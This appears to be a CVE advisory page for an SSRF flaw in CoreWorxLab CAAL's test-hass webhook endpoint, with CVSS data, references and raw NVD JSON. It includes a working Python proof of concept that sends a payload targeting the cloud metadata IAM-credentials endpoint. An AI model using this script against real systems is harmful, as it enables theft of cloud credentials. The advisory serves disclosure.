CVE-2026-8725

Description

A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

CoreWorxLab CAAL <= 1.6.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-8725 PoC for CoreWorxLab CAAL SSRF
# Target: test-hass endpoint in webhooks.py

target_url = "http://target-ip:port/test-hass"  # Replace with actual target

# Example payload attempting to access internal metadata
# Common SSRF test targets: localhost, 127.0.0.1, cloud metadata IPs
ssrf_payload = {
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

try:
    print(f"[*] Sending SSRF payload to {target_url}...")
    response = requests.post(target_url, json=ssrf_payload, timeout=10)
    
    if response.status_code == 200:
        print("[+] Request sent successfully. Check response for sensitive data:")
        print(response.text)
    else:
        print(f"[-] Server returned status code: {response.status_code}")
        
except requests.exceptions.RequestException as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8725
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8725
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8725/
[4] VulDB https://vuldb.com/cve/CVE-2026-8725
[5] https://github.com/juruo123/public_exp/issues/5
[6] https://vuldb.com/submit/807753
[7] https://vuldb.com/vuln/364316
[8] https://vuldb.com/vuln/364316/cti

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8725", "sourceIdentifier": "[email protected]", "published": "2026-05-17T02:16:45.487", "lastModified": "2026-05-17T02:16:45.487", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/juruo123/public_exp/issues/5", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/807753", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364316", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/364316/cti", "source": "[email protected]"}]}}